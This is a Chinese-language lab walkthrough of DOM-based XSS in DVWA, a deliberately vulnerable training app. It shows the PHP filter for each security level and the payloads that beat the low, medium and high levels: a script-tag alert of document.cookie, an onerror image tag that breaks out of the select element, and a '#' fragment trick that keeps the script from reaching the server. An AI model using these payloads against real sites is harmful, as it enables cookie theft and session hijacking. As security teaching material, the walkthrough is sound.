DVWA-XSS(DOM型)
XSS(全称Cross Site Scripting)为区分css改名为XSS,也叫跨站脚本攻击,因为XXS攻击方式是通过向网页中注入恶意代码,使访问者在不知情的情况下访问被注入的页面时,触发执行其中的恶意代码,达到攻击目的。
XSS(DOM型)是XSS跨站脚本攻击中的一种,是基于DOM文档对象模型的一种漏洞。DOM(全称Document Object Model),使用DOM可以使程序和脚本能动态访问更新文档的内容、结构和样式。
--low级别:
服务器端代码:
<?php
# No protections, anything goes
?>
从代码中可以看出,当前没有对提交的内容做任何限制。
正常访问页面效果如下:
注入script脚本,获取cookie信息
<script>alert(document.cookie)</script>
--medium级别:
服务器端代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
在medium代码中对<script>标签的<script 部分进行过滤。可以通过onerror事件触发执行javascript代码。支持html标签<img>, <input type="image">, <object>, <link> 以及 <script>
获取cookie信息,这里首先需要先截断<select>标签,因为option的内容通过document.write()方式显示页面内容。如下:
具体如下:
</option></select><img src='x' onerror='alert(document.cookie)'>
或者
</select><img src='x' onerror='alert(document.cookie)'>
--high级别:
服务器端代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
在high中在服务器端对接收的参数内容进行过滤,可以通过在浏览器地址栏中加上#符号将script脚本内容拦截在当前页面执行,不将其当做参数提交。
看一下在没有在地址栏中加#号,接口请求的参数,如下:
English<script>alert(document.cookie)</script>
在地址栏中加上script脚本前加入空格符和#符号后,接口没有将script脚本的信息提交到服务器端并在当前页面中执行。
English #<script>alert(document.cookie)</script>
--impossible级别:
服务器端代码:
<?php
# Don't need to do anything, protction handled on the client side
?>
在impossible中服务器代码跟low一样,也是没有做任何处理,但是在前端页面中,没有将地址栏中的参数通过decodeURI进行解密,直接当做字符串显示。由于地址栏默认会将<>括号和空格符等特殊意义的字符进行转义了,如果没有decodeURI将其还原那浏览器就直接当做内容显示。如下:
可以尝试将地址栏的被转义字符还原后,就能运行其脚本内容,如下: